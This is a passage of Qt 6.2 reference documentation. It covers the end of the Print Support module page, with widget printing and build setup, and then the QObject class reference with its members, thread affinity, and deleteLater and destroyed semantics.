        painter.translate(printer.paperRect().x() + printer.pageRect().width()/2,
                           printer.paperRect().y() + printer.pageRect().height()/2);
        painter.scale(scale, scale);
        painter.translate(-width()/2, -height()/2);

        myWidget->render(&painter);
```
 This will center the widget on the page and scale it so that it fits the page.

 Printing from Complex Widgets
-----------------------------

 Certain widgets, such as [QTextEdit](qtextedit) and [QGraphicsView](qgraphicsview), display rich content that is typically managed by instances of other classes, such as [QTextDocument](qtextdocument) and [QGraphicsScene](qgraphicsscene). As a result, it is these content handling classes that usually provide printing functionality, either via a function that can be used to perform the complete task, or via a function that accepts an existing [QPainter](qpainter) object. Some widgets provide convenience functions to expose underlying printing features, avoiding the need to obtain the content handler just to call a single function.

 The following table shows which class and function are responsible for printing from a selection of different widgets. For widgets that do not expose printing functionality directly, the content handling classes containing this functionality can be obtained via a function in the corresponding widget's API.

 

| Widget | Printing function | Accepts |
| --- | --- | --- |
| [QGraphicsView](qgraphicsview) | [QGraphicsView::render](qgraphicsview#render)() | [QPainter](qpainter) |
| QSvgWidget | QSvgRenderer::render() | [QPainter](qpainter) |
| [QTextEdit](qtextedit) | [QTextDocument::print](qtextdocument#print)() | [QPrinter](qprinter) |
| [QTextLayout](qtextlayout) | [QTextLayout::draw](qtextlayout#draw)() | [QPainter](qpainter) |
| [QTextLine](qtextline) | [QTextLine::draw](qtextline#draw)() | [QPainter](qpainter) |

 [QTextEdit](qtextedit) requires a [QPrinter](qprinter) rather than a [QPainter](qpainter) because it uses information about the configured page dimensions in order to insert page breaks at the most appropriate places in printed documents.

 Using the Module
----------------

 Using a Qt module requires linking against the module library, either directly or through other dependencies. Several build tools have dedicated support for this, including [CMake](http://www.cmake.org/cmake/help/documentation.html) and [qmake](resources#qmake).

 ### Building with CMake

 Use the `find_package()` command to locate the needed module components in the `Qt6` package:

 
```
find_package(Qt6 COMPONENTS PrintSupport REQUIRED)
target_link_libraries(mytarget PRIVATE Qt6::PrintSupport)
```
 See also the [Build with CMake](cmake-manual) overview.

 ### Building with qmake

 To configure the module for building with qmake, add the module as a value of the `QT` variable in the project's .pro file:

 
```
QT += printsupport
```
 Module Evolution
----------------

 [Changes to Qt Print Support](printsupport-changes-qt6) lists important changes in the module API and functionality that were done for the Qt 6 series of Qt.

 Licenses and Trademarks
-----------------------

 The Qt Print Support module is available under commercial licenses from [The Qt Company](http://www.qt.io/about-us/). In addition, it is available under free software licenses: The [GNU Lesser General Public License, version 3](http://www.gnu.org/licenses/lgpl-3.0.html), or the [GNU General Public License, version 2](http://www.gnu.org/licenses/gpl-2.0.html). See [Qt Licensing](https://doc.qt.io/qt-6.2/licensing.html) for further details.

 Please note that Adobe® places restrictions on the use of its trademarks (including logos) in conjunction with PDF; e.g. "Adobe PDF". Please refer to [www.adobe.com](http://www.adobe.com) for guidelines.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtprintsupport-index.html>

QObject Class
=============

 The QObject class is the base class of all Qt objects. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QObject> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core) |
|  qmake: |  QT += core |
|  Inherited By: | [Q3DObject](q3dobject), [Q3DScene](q3dscene), [Q3DTheme](q3dtheme), [QAbstract3DAxis](qabstract3daxis), [QAbstract3DInputHandler](qabstract3dinputhandler), [QAbstract3DSeries](qabstract3dseries), [QAbstractAnimation](qabstractanimation), [QAbstractAxis](qabstractaxis), [QAbstractDataProxy](qabstractdataproxy), [QAbstractEventDispatcher](qabstracteventdispatcher), [QAbstractItemDelegate](qabstractitemdelegate), [QAbstractItemModel](qabstractitemmodel), [QAbstractItemModelTester](qabstractitemmodeltester), [QAbstractNetworkCache](qabstractnetworkcache), [QAbstractOAuth](qabstractoauth), [QAbstractOAuthReplyHandler](qabstractoauthreplyhandler), [QAbstractSeries](qabstractseries), [QAbstractState](qabstractstate), [QAbstractTextDocumentLayout](qabstracttextdocumentlayout), [QAbstractTransition](qabstracttransition), [QAccessiblePlugin](qaccessibleplugin), [QAction](qaction), [QActionGroup](qactiongroup), [QAudioDecoder](qaudiodecoder), [QAudioInput](qaudioinput), [QAudioOutput](qaudiooutput), [QAudioSink](qaudiosink), [QAudioSource](qaudiosource), [QAxBaseObject](qaxbaseobject), [QAxFactory](qaxfactory), [QAxScript](qaxscript), [QAxScriptManager](qaxscriptmanager), [QBarSet](qbarset), [QBluetoothDeviceDiscoveryAgent](qbluetoothdevicediscoveryagent), [QBluetoothLocalDevice](qbluetoothlocaldevice), [QBluetoothServer](qbluetoothserver), [QBluetoothServiceDiscoveryAgent](qbluetoothservicediscoveryagent), [QBoxSet](qboxset), [QButtonGroup](qbuttongroup), [QCamera](qcamera), [QCanBus](qcanbus), [QCanBusDevice](qcanbusdevice), [QCandlestickModelMapper](qcandlestickmodelmapper), [QCandlestickSet](qcandlestickset), [QClipboard](qclipboard), [QCoapClient](qcoapclient), [QCompleter](qcompleter), [QCoreApplication](qcoreapplication), [QCustom3DItem](qcustom3ditem), [QDataWidgetMapper](qdatawidgetmapper), [QDBusAbstractAdaptor](qdbusabstractadaptor), [QDBusAbstractInterface](qdbusabstractinterface), [QDBusPendingCallWatcher](qdbuspendingcallwatcher), [QDBusServer](qdbusserver), [QDBusServiceWatcher](qdbusservicewatcher), [QDBusVirtualObject](qdbusvirtualobject), [QDesignerFormEditorInterface](qdesignerformeditorinterface), [QDesignerFormWindowManagerInterface](qdesignerformwindowmanagerinterface), [QDnsLookup](qdnslookup), [QDrag](qdrag), [QDtls](qdtls), [QDtlsClientVerifier](qdtlsclientverifier), [QEventLoop](qeventloop), [QExtensionFactory](qextensionfactory), [QExtensionManager](qextensionmanager), [QFileSelector](qfileselector), [QFileSystemWatcher](qfilesystemwatcher), [QFutureWatcher](qfuturewatcher), [QGenericPlugin](qgenericplugin), [QGeoAreaMonitorSource](qgeoareamonitorsource), [QGeoPositionInfoSource](qgeopositioninfosource), [QGeoSatelliteInfoSource](qgeosatelliteinfosource), [QGesture](qgesture), [QGraphicsAnchor](qgraphicsanchor), [QGraphicsEffect](qgraphicseffect), [QGraphicsItemAnimation](qgraphicsitemanimation), [QGraphicsObject](qgraphicsobject), [QGraphicsScene](qgraphicsscene), [QGraphicsTransform](qgraphicstransform), [QHelpEngineCore](qhelpenginecore), [QHelpFilterEngine](qhelpfilterengine), [QHelpSearchEngine](qhelpsearchengine), [QHttpMultiPart](qhttpmultipart), [QIconEnginePlugin](qiconengineplugin), [QImageCapture](qimagecapture), [QImageIOPlugin](qimageioplugin), [QInputDevice](qinputdevice), [QInputMethod](qinputmethod), [QIODevice](qiodevice), [QItemSelectionModel](qitemselectionmodel), [QJSEngine](qjsengine), [QLayout](qlayout), [QLegendMarker](qlegendmarker), [QLibrary](qlibrary), [QLocalServer](qlocalserver), [QLowEnergyController](qlowenergycontroller), [QLowEnergyService](qlowenergyservice), [QMaskGenerator](qmaskgenerator), [QMediaCaptureSession](qmediacapturesession), [QMediaDevices](qmediadevices), [QMediaPlayer](qmediaplayer), [QMediaRecorder](qmediarecorder), [QMimeData](qmimedata), [QModbusDevice](qmodbusdevice), [QModbusReply](qmodbusreply), [QMovie](qmovie), [QMqttClient](qmqttclient), [QMqttSubscription](qmqttsubscription), [QNearFieldManager](qnearfieldmanager), [QNearFieldTarget](qnearfieldtarget), [QNetworkAccessManager](qnetworkaccessmanager), [QNetworkCookieJar](qnetworkcookiejar), [QNetworkInformation](qnetworkinformation), [QObjectCleanupHandler](qobjectcleanuphandler), [QOffscreenSurface](qoffscreensurface), [QOpcUaClient](qopcuaclient), [QOpcUaGdsClient](qopcuagdsclient), [QOpcUaKeyPair](qopcuakeypair), [QOpcUaNode](qopcuanode), [QOpcUaProvider](qopcuaprovider), [QOpenGLContext](qopenglcontext), [QOpenGLContextGroup](qopenglcontextgroup), [QOpenGLDebugLogger](qopengldebuglogger), [QOpenGLShader](qopenglshader), [QOpenGLShaderProgram](qopenglshaderprogram), [QOpenGLTimeMonitor](qopengltimemonitor), [QOpenGLTimerQuery](qopengltimerquery), [QOpenGLVertexArrayObject](qopenglvertexarrayobject), [QPdfWriter](qpdfwriter), [QPieSlice](qpieslice), [QPlatformAudioDecoder](qplatformaudiodecoder), [QPlatformAudioSink](qplatformaudiosink), [QPlatformAudioSource](qplatformaudiosource), [QPlatformCamera](qplatformcamera), [QPlatformImageCapture](qplatformimagecapture), [QPluginLoader](qpluginloader), [QQmlComponent](qqmlcomponent), [QQmlContext](qqmlcontext), [QQmlEngineExtensionPlugin](qqmlengineextensionplugin), [QQmlExpression](qqmlexpression), [QQmlFileSelector](qqmlfileselector), [QQmlImageProviderBase](qqmlimageproviderbase), [QQmlPropertyMap](qqmlpropertymap), [QQuick3DObject](qquick3dobject), [QQuickImageResponse](qquickimageresponse), [QQuickItem](qquickitem), [QQuickItemGrabResult](qquickitemgrabresult), [QQuickRenderControl](qquickrendercontrol), [QQuickTextDocument](qquicktextdocument), [QQuickTextureFactory](qquicktexturefactory), [QQuickWebEngineProfile](qquickwebengineprofile), [QRemoteObjectAbstractPersistedStore](qremoteobjectabstractpersistedstore), [QRemoteObjectNode](qremoteobjectnode), [QRemoteObjectPendingCallWatcher](qremoteobjectpendingcallwatcher), [QRemoteObjectReplica](qremoteobjectreplica), [QScreen](qscreen), [QScroller](qscroller), [QScxmlDataModel](qscxmldatamodel), [QScxmlInvokableService](qscxmlinvokableservice), [QScxmlInvokableServiceFactory](qscxmlinvokableservicefactory), [QScxmlStateMachine](qscxmlstatemachine), [QSensor](qsensor), [QSensorBackend](qsensorbackend), [QSensorReading](qsensorreading), [QSessionManager](qsessionmanager), [QSettings](qsettings), [QSGTexture](qsgtexture), [QSGTextureProvider](qsgtextureprovider), [QSharedMemory](qsharedmemory), [QShortcut](qshortcut), [QSignalMapper](qsignalmapper), [QSignalSpy](qsignalspy), [QSocketNotifier](qsocketnotifier), [QSoundEffect](qsoundeffect), [QSqlDriver](qsqldriver), [QSqlDriverPlugin](qsqldriverplugin), [QStyle](qstyle), [QStyleHints](qstylehints), [QStylePlugin](qstyleplugin), [QSvgRenderer](qsvgrenderer), [QSyntaxHighlighter](qsyntaxhighlighter), [QSystemTrayIcon](qsystemtrayicon), [Qt3DAnimation::QAbstractAnimation](qt3danimation-qabstractanimation), [Qt3DAnimation::QAnimationController](qt3danimation-qanimationcontroller), [Qt3DAnimation::QAnimationGroup](qt3danimation-qanimationgroup), [Qt3DAnimation::QMorphTarget](qt3danimation-qmorphtarget), [Qt3DCore::QAbstractAspect](qt3dcore-qabstractaspect), [Qt3DCore::QAspectEngine](qt3dcore-qaspectengine), [Qt3DCore::QNode](qt3dcore-qnode), [Qt3DCore::Quick::QQmlAspectEngine](qt3dcore-quick-qqmlaspectengine), [Qt3DInput::QInputDeviceIntegration](qt3dinput-qinputdeviceintegration), [Qt3DInput::QKeyEvent](qt3dinput-qkeyevent), [Qt3DInput::QMouseEvent](qt3dinput-qmouseevent), [Qt3DInput::QWheelEvent](qt3dinput-qwheelevent), [Qt3DRender::QGraphicsApiFilter](qt3drender-qgraphicsapifilter), [Qt3DRender::QPickEvent](qt3drender-qpickevent), [Qt3DRender::QRenderCapabilities](qt3drender-qrendercapabilities), [Qt3DRender::QRenderCaptureReply](qt3drender-qrendercapturereply), [Qt3DRender::QStencilOperationArguments](qt3drender-qstenciloperationarguments), [Qt3DRender::QStencilTestArguments](qt3drender-qstenciltestarguments), [Qt3DRender::QTextureWrapMode](qt3drender-qtexturewrapmode), [QTcpServer](qtcpserver), [QTextDocument](qtextdocument), [QTextObject](qtextobject), [QThread](qthread), [QThreadPool](qthreadpool), [QTimeLine](qtimeline), [QTimer](qtimer), [QTranslator](qtranslator), [QUiLoader](quiloader), [QUndoGroup](qundogroup), [QUndoStack](qundostack), [QValidator](qvalidator), [QValue3DAxisFormatter](qvalue3daxisformatter), [QVideoSink](qvideosink), [QVirtualKeyboardAbstractInputMethod](qvirtualkeyboardabstractinputmethod), [QVirtualKeyboardDictionary](qvirtualkeyboarddictionary), [QVirtualKeyboardDictionaryManager](qvirtualkeyboarddictionarymanager), [QVirtualKeyboardExtensionPlugin](qvirtualkeyboardextensionplugin), [QVirtualKeyboardInputContext](qvirtualkeyboardinputcontext), [QVirtualKeyboardInputEngine](qvirtualkeyboardinputengine), [QVirtualKeyboardObserver](qvirtualkeyboardobserver), [QVirtualKeyboardTrace](qvirtualkeyboardtrace), [QWaylandClient](qwaylandclient), [QWaylandQuickShellIntegration](qwaylandquickshellintegration), [QWaylandSurfaceGrabber](qwaylandsurfacegrabber), [QWaylandView](qwaylandview), [QWaylandXdgPopup](qwaylandxdgpopup), [QWaylandXdgToplevel](qwaylandxdgtoplevel), [QWebChannel](qwebchannel), [QWebChannelAbstractTransport](qwebchannelabstracttransport), [QWebEngineContextMenuRequest](qwebenginecontextmenurequest), [QWebEngineCookieStore](qwebenginecookiestore), [QWebEngineDownloadRequest](qwebenginedownloadrequest), [QWebEngineHistory](qwebenginehistory), [QWebEngineNavigationRequest](qwebenginenavigationrequest), [QWebEngineNewWindowRequest](qwebenginenewwindowrequest), [QWebEngineNotification](qwebenginenotification), [QWebEnginePage](qwebenginepage), [QWebEngineProfile](qwebengineprofile), [QWebEngineUrlRequestInterceptor](qwebengineurlrequestinterceptor), [QWebEngineUrlRequestJob](qwebengineurlrequestjob), [QWebEngineUrlSchemeHandler](qwebengineurlschemehandler), [QWebSocket](qwebsocket), [QWebSocketServer](qwebsocketserver), [QWidget](qwidget), [QWindow](qwindow), and [QWinEventNotifier](qwineventnotifier) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qobject-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qobject-obsolete.html)

 **Note:** All functions in this class are [reentrant](17-qdoc-commands-thread#reentrant).

 **Note:** These functions are also [thread-safe](threads-reentrancy):

 * [connect](qobject#connect)()
* [connect](qobject#connect-2)()
* [connect](qobject#connect-3)()
* [connect](qobject#connect-4)()
* [connect](qobject#connect-5)()
* [disconnect](qobject#disconnect)()
* [disconnect](qobject#disconnect-2)()
* [disconnect](qobject#disconnect-5)()
* [deleteLater](qobject#deleteLater)()

 Properties
----------

 * **[objectName](qobject#objectName-prop)** : QString

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QObject](qobject#QObject)**(QObject \**parent* = nullptr) |
|  virtual  | **[~QObject](qobject#dtor.QObject)**() |
|  bool  | **[blockSignals](qobject#blockSignals)**(bool *block*) |
|  const QObjectList & | **[children](qobject#children)**() const |
|  QMetaObject::Connection  | **[connect](qobject#connect-2)**(const QObject \**sender*, const char \**signal*, const char \**method*, Qt::ConnectionType *type* = Qt::AutoConnection) const |
|  bool  | **[disconnect](qobject#disconnect-2)**(const char \**signal* = nullptr, const QObject \**receiver* = nullptr, const char \**method* = nullptr) const |
|  bool  | **[disconnect](qobject#disconnect-3)**(const QObject \**receiver*, const char \**method* = nullptr) const |
|  void  | **[dumpObjectInfo](qobject#dumpObjectInfo)**() const |
|  void  | **[dumpObjectTree](qobject#dumpObjectTree)**() const |
|  QList<QByteArray>  | **[dynamicPropertyNames](qobject#dynamicPropertyNames)**() const |
|  virtual bool  | **[event](qobject#event)**(QEvent \**e*) |
|  virtual bool  | **[eventFilter](qobject#eventFilter)**(QObject \**watched*, QEvent \**event*) |
|  T  | **[findChild](qobject#findChild)**(const QString &*name* = QString(), Qt::FindChildOptions *options* = Qt::FindChildrenRecursively) const |
|  QList<T>  | **[findChildren](qobject#findChildren)**(const QString &*name* = QString(), Qt::FindChildOptions *options* = Qt::FindChildrenRecursively) const |
|  QList<T>  | **[findChildren](qobject#findChildren-1)**(const QRegularExpression &*re*, Qt::FindChildOptions *options* = Qt::FindChildrenRecursively) const |
|  bool  | **[inherits](qobject#inherits)**(const char \**className*) const |
|  void  | **[installEventFilter](qobject#installEventFilter)**(QObject \**filterObj*) |
|  bool  | **[isWidgetType](qobject#isWidgetType)**() const |
|  bool  | **[isWindowType](qobject#isWindowType)**() const |
|  void  | **[killTimer](qobject#killTimer)**(int *id*) |
|  virtual const QMetaObject \* | **[metaObject](qobject#metaObject)**() const |
|  void  | **[moveToThread](qobject#moveToThread)**(QThread \**targetThread*) |
|  QString  | **[objectName](qobject#objectName-prop)**() const |
|  QObject \* | **[parent](qobject#parent)**() const |
|  QVariant  | **[property](qobject#property)**(const char \**name*) const |
|  void  | **[removeEventFilter](qobject#removeEventFilter)**(QObject \**obj*) |
|  void  | **[setObjectName](qobject#objectName-prop)**(const QString &*name*) |
|  void  | **[setParent](qobject#setParent)**(QObject \**parent*) |
|  bool  | **[setProperty](qobject#setProperty)**(const char \**name*, const QVariant &*value*) |
|  bool  | **[signalsBlocked](qobject#signalsBlocked)**() const |
|  int  | **[startTimer](qobject#startTimer)**(int *interval*, Qt::TimerType *timerType* = Qt::CoarseTimer) |
|  int  | **[startTimer](qobject#startTimer-1)**(std::chrono::milliseconds *time*, Qt::TimerType *timerType* = Qt::CoarseTimer) |
|  QThread \* | **[thread](qobject#thread)**() const |

 Public Slots
------------

 

|  |  |
| --- | --- |
|  void  | **[deleteLater](qobject#deleteLater)**() |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[destroyed](qobject#destroyed)**(QObject \**obj* = nullptr) |
|  void  | **[objectNameChanged](qobject#objectNameChanged)**(const QString &*objectName*) |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  QMetaObject::Connection  | **[connect](qobject#connect)**(const QObject \**sender*, const char \**signal*, const QObject \**receiver*, const char \**method*, Qt::ConnectionType *type* = Qt::AutoConnection) |
|  QMetaObject::Connection  | **[connect](qobject#connect-1)**(const QObject \**sender*, const QMetaMethod &*signal*, const QObject \**receiver*, const QMetaMethod &*method*, Qt::ConnectionType *type* = Qt::AutoConnection) |
|  QMetaObject::Connection  | **[connect](qobject#connect-3)**(const QObject \**sender*, PointerToMemberFunction *signal*, const QObject \**receiver*, PointerToMemberFunction *method*, Qt::ConnectionType *type* = Qt::AutoConnection) |
|  QMetaObject::Connection  | **[connect](qobject#connect-4)**(const QObject \**sender*, PointerToMemberFunction *signal*, Functor *functor*) |
|  QMetaObject::Connection  | **[connect](qobject#connect-5)**(const QObject \**sender*, PointerToMemberFunction *signal*, const QObject \**context*, Functor *functor*, Qt::ConnectionType *type* = Qt::AutoConnection) |
|  bool  | **[disconnect](qobject#disconnect)**(const QObject \**sender*, const char \**signal*, const QObject \**receiver*, const char \**method*) |
|  bool  | **[disconnect](qobject#disconnect-1)**(const QObject \**sender*, const QMetaMethod &*signal*, const QObject \**receiver*, const QMetaMethod &*method*) |
|  bool  | **[disconnect](qobject#disconnect-4)**(const QMetaObject::Connection &*connection*) |
|  bool  | **[disconnect](qobject#disconnect-5)**(const QObject \**sender*, PointerToMemberFunction *signal*, const QObject \**receiver*, PointerToMemberFunction *method*) |
|  const QMetaObject  | **[staticMetaObject](qobject#staticMetaObject-var)** |
|  QString  | **[tr](qobject#tr)**(const char \**sourceText*, const char \**disambiguation* = nullptr, int *n* = -1) |

 Protected Functions
-------------------

 

|  |  |
| --- | --- |
|  virtual void  | **[childEvent](qobject#childEvent)**(QChildEvent \**event*) |
|  virtual void  | **[connectNotify](qobject#connectNotify)**(const QMetaMethod &*signal*) |
|  virtual void  | **[customEvent](qobject#customEvent)**(QEvent \**event*) |
|  virtual void  | **[disconnectNotify](qobject#disconnectNotify)**(const QMetaMethod &*signal*) |
|  bool  | **[isSignalConnected](qobject#isSignalConnected)**(const QMetaMethod &*signal*) const |
|  int  | **[receivers](qobject#receivers)**(const char \**signal*) const |
|  QObject \* | **[sender](qobject#sender)**() const |
|  int  | **[senderSignalIndex](qobject#senderSignalIndex)**() const |
|  virtual void  | **[timerEvent](qobject#timerEvent)**(QTimerEvent \**event*) |

 Related Non-Members
-------------------

 

|  |  |
| --- | --- |
|  | **[QObjectList](qobject#QObjectList-typedef)** |
|  T  | **[qobject\_cast](qobject#qobject_cast)**(QObject \**object*) |
|  T  | **[qobject\_cast](qobject#qobject_cast-1)**(const QObject \**object*) |

 Macros
------

 

|  |  |
| --- | --- |
|  | **[QT\_NO\_NARROWING\_CONVERSIONS\_IN\_CONNECT](qobject#QT_NO_NARROWING_CONVERSIONS_IN_CONNECT)** |
|  | **[Q\_CLASSINFO](qobject#Q_CLASSINFO)**(*Name*, *Value*) |
|  | **[Q\_DISABLE\_COPY](qobject#Q_DISABLE_COPY)**(*Class*) |
|  | **[Q\_DISABLE\_COPY\_MOVE](qobject#Q_DISABLE_COPY_MOVE)**(*Class*) |
|  | **[Q\_EMIT](qobject#Q_EMIT)** |
|  | **[Q\_ENUM](qobject#Q_ENUM)**(...) |
|  | **[Q\_ENUM\_NS](qobject#Q_ENUM_NS)**(...) |
|  | **[Q\_FLAG](qobject#Q_FLAG)**(...) |
|  | **[Q\_FLAG\_NS](qobject#Q_FLAG_NS)**(...) |
|  | **[Q\_GADGET](qobject#Q_GADGET)** |
|  | **[Q\_INTERFACES](qobject#Q_INTERFACES)**(...) |
|  | **[Q\_INVOKABLE](qobject#Q_INVOKABLE)** |
|  | **[Q\_MOC\_INCLUDE](qobject#Q_MOC_INCLUDE)** |
|  | **[Q\_NAMESPACE](qobject#Q_NAMESPACE)** |
|  | **[Q\_NAMESPACE\_EXPORT](qobject#Q_NAMESPACE_EXPORT)**(*EXPORT\_MACRO*) |
|  | **[Q\_OBJECT](qobject#Q_OBJECT)** |
|  | **[Q\_PROPERTY](qobject#Q_PROPERTY)**(...) |
|  | **[Q\_REVISION](qobject#Q_REVISION)** |
|  | **[Q\_SET\_OBJECT\_NAME](qobject#Q_SET_OBJECT_NAME)**(*Object*) |
|  | **[Q\_SIGNAL](qobject#Q_SIGNAL)** |
|  | **[Q\_SIGNALS](qobject#Q_SIGNALS)** |
|  | **[Q\_SLOT](qobject#Q_SLOT)** |
|  | **[Q\_SLOTS](qobject#Q_SLOTS)** |

 Detailed Description
--------------------

 QObject is the heart of the Qt [Object Model](object). The central feature in this model is a very powerful mechanism for seamless object communication called [signals and slots](signalsandslots). You can connect a signal to a slot with [connect](qobject#connect)() and destroy the connection with [disconnect](qobject#disconnect)(). To avoid never ending notification loops you can temporarily block signals with [blockSignals](qobject#blockSignals)(). The protected functions [connectNotify](qobject#connectNotify)() and [disconnectNotify](qobject#disconnectNotify)() make it possible to track connections.

 QObjects organize themselves in [object trees](objecttrees). When you create a QObject with another object as parent, the object will automatically add itself to the parent's [children](qobject#children)() list. The parent takes ownership of the object; i.e., it will automatically delete its children in its destructor. You can look for an object by name and optionally type using [findChild](qobject#findChild)() or [findChildren](qobject#findChildren)().

 Every object has an [objectName](qobject#objectName-prop)() and its class name can be found via the corresponding [metaObject](qobject#metaObject)() (see [QMetaObject::className](qmetaobject#className)()). You can determine whether the object's class inherits another class in the QObject inheritance hierarchy by using the [inherits](qobject#inherits)() function.

 When an object is deleted, it emits a [destroyed](qobject#destroyed)() signal. You can catch this signal to avoid dangling references to QObjects.

 QObjects can receive events through [event](qobject#event)() and filter the events of other objects. See [installEventFilter](qobject#installEventFilter)() and [eventFilter](qobject#eventFilter)() for details. A convenience handler, [childEvent](qobject#childEvent)(), can be reimplemented to catch child events.

 Last but not least, QObject provides the basic timer support in Qt; see [QTimer](qtimer) for high-level support for timers.

 Notice that the [Q\_OBJECT](qobject#Q_OBJECT) macro is mandatory for any object that implements signals, slots or properties. You also need to run the [Meta Object Compiler](moc) on the source file. We strongly recommend the use of this macro in all subclasses of QObject regardless of whether or not they actually use signals, slots and properties, since failure to do so may lead certain functions to exhibit strange behavior.

 All Qt widgets inherit QObject. The convenience function [isWidgetType](qobject#isWidgetType)() returns whether an object is actually a widget. It is much faster than [qobject\_cast](qobject#qobject_cast)<[QWidget](qwidget) \*>(*obj*) or *obj*->[inherits](qobject#inherits)("[QWidget](qwidget)").

 Some QObject functions, e.g. [children](qobject#children)(), return a [QObjectList](qobject#QObjectList-typedef). [QObjectList](qobject#QObjectList-typedef) is a typedef for [QList](qlist)<QObject \*>.

 ### Thread Affinity

 A QObject instance is said to have a *thread affinity*, or that it *lives* in a certain thread. When a QObject receives a [queued signal](qt#ConnectionType-enum) or a [posted event](eventsandfilters#sending-events), the slot or event handler will run in the thread that the object lives in.

  **Note:** If a QObject has no thread affinity (that is, if [thread](qobject#thread)() returns zero), or if it lives in a thread that has no running event loop, then it cannot receive queued signals or posted events.

  By default, a QObject lives in the thread in which it is created. An object's thread affinity can be queried using [thread](qobject#thread)() and changed using [moveToThread](qobject#moveToThread)().

 All QObjects must live in the same thread as their parent. Consequently:

 * [setParent](qobject#setParent)() will fail if the two QObjects involved live in different threads.
* When a QObject is moved to another thread, all its children will be automatically moved too.
* [moveToThread](qobject#moveToThread)() will fail if the QObject has a parent.
* If QObjects are created within [QThread::run](qthread#run)(), they cannot become children of the [QThread](qthread) object because the [QThread](qthread) does not live in the thread that calls [QThread::run](qthread#run)().

  **Note:** A QObject's member variables *do not* automatically become its children. The parent-child relationship must be set by either passing a pointer to the child's [constructor](qobject#QObject), or by calling [setParent](qobject#setParent)(). Without this step, the object's member variables will remain in the old thread when [moveToThread](qobject#moveToThread)() is called.

  ### No Copy Constructor or Assignment Operator

 QObject has neither a copy constructor nor an assignment operator. This is by design. Actually, they are declared, but in a `private` section with the macro [Q\_DISABLE\_COPY](qobject#Q_DISABLE_COPY)(). In fact, all Qt classes derived from QObject (direct or indirect) use this macro to declare their copy constructor and assignment operator to be private. The reasoning is found in the discussion on [Identity vs Value](object#identity-vs-value) on the Qt [Object Model](object) page.

 The main consequence is that you should use pointers to QObject (or to your QObject subclass) where you might otherwise be tempted to use your QObject subclass as a value. For example, without a copy constructor, you can't use a subclass of QObject as the value to be stored in one of the container classes. You must store pointers.

 ### Auto-Connection

 Qt's meta-object system provides a mechanism to automatically connect signals and slots between QObject subclasses and their children. As long as objects are defined with suitable object names, and slots follow a simple naming convention, this connection can be performed at run-time by the [QMetaObject::connectSlotsByName](qmetaobject#connectSlotsByName)() function.

 <uic> generates code that invokes this function to enable auto-connection to be performed between widgets on forms created with *Qt Designer*. More information about using auto-connection with *Qt Designer* is given in the [Using a Designer UI File in Your Application](designer-using-a-ui-file) section of the *Qt Designer* manual.

 ### Dynamic Properties

 From Qt 4.2, dynamic properties can be added to and removed from QObject instances at run-time. Dynamic properties do not need to be declared at compile-time, yet they provide the same advantages as static properties and are manipulated using the same API - using [property](qobject#property)() to read them and [setProperty](qobject#setProperty)() to write them.

 From Qt 4.3, dynamic properties are supported by [Qt Designer](designer-widget-mode#the-property-editor), and both standard Qt widgets and user-created forms can be given dynamic properties.

 ### Internationalization (I18n)

 All QObject subclasses support Qt's translation features, making it possible to translate an application's user interface into different languages.

 To make user-visible text translatable, it must be wrapped in calls to the [tr](qobject#tr)() function. This is explained in detail in the [Writing Source Code for Translation](i18n-source-translation) document.

 **See also** [QMetaObject](qmetaobject), [QPointer](qpointer), [QObjectCleanupHandler](qobjectcleanuphandler), [Q\_DISABLE\_COPY](qobject#Q_DISABLE_COPY)(), and [Object Trees & Ownership](objecttrees).

  Property Documentation
----------------------

 ### 
`[bindable]` objectName : [QString](qstring)

 **Note:** This property supports [QProperty](qproperty) bindings.

 This property holds the name of this object

 You can find an object by name (and type) using [findChild](qobject#findChild)(). You can find a set of objects with [findChildren](qobject#findChildren)().

 
```
qDebug("MyClass::setPrecision(): (%s) invalid precision %f",
       qPrintable(objectName()), newPrecision);
```
 By default, this property contains an empty string.

 **See also** [metaObject](qobject#metaObject)() and [QMetaObject::className](qmetaobject#className)().

  Member Function Documentation
-----------------------------

 ### 
`[invokable]` QObject::QObject([QObject](qobject#QObject) \**parent* = nullptr)

 Constructs an object with parent object *parent*.

 The parent of an object may be viewed as the object's owner. For instance, a [dialog box](qdialog) is the parent of the **OK** and **Cancel** buttons it contains.

 The destructor of a parent object destroys all child objects.

 Setting *parent* to `nullptr` constructs an object with no parent. If the object is a widget, it will become a top-level window.

 **Note:** This function can be invoked via the meta-object system and from QML. See [Q\_INVOKABLE](qobject#Q_INVOKABLE).

 **See also** [parent](qobject#parent)(), [findChild](qobject#findChild)(), and [findChildren](qobject#findChildren)().

 ### 
`[slot]` void QObject::deleteLater()

 Schedules this object for deletion.

 The object will be deleted when control returns to the event loop. If the event loop is not running when this function is called (e.g. deleteLater() is called on an object before [QCoreApplication::exec](qcoreapplication#exec)()), the object will be deleted once the event loop is started. If deleteLater() is called after the main event loop has stopped, the object will not be deleted. Since Qt 4.8, if deleteLater() is called on an object that lives in a thread with no running event loop, the object will be destroyed when the thread finishes.

 Note that entering and leaving a new event loop (e.g., by opening a modal dialog) will *not* perform the deferred deletion; for the object to be deleted, the control must return to the event loop from which deleteLater() was called. This does not apply to objects deleted while a previous, nested event loop was still running: the Qt event loop will delete those objects as soon as the new nested event loop starts.

  **Note:** It is safe to call this function more than once; when the first deferred deletion event is delivered, any pending events for the object are removed from the event queue.

  **Note:** This function is [thread-safe](threads-reentrancy).

 **See also** [destroyed](qobject#destroyed)() and [QPointer](qpointer).

 ### 
`[signal]` void QObject::destroyed([QObject](qobject#QObject) \**obj* = nullptr)

 This signal is emitted immediately before the object *obj* is destroyed, after any instances of [QPointer](qpointer) have been notified, and cannot be blocked.

 All the objects's children are destroyed immediately after this signal is emitted.

 **See also** [deleteLater](qobject#deleteLater)() and [QPointer](qpointer).

 ### 
`[private signal]` void QObject::objectNameChanged(const [QString](qstring) &*objectName*)

 This signal is emitted after the object's name has been changed. The new object name is passed as *objectName*.

 **Note:** This is a private signal. It can be used in signal connections but cannot be emitted by the user.

 **Note:** Notifier signal for property [objectName](qobject#objectName-prop). 

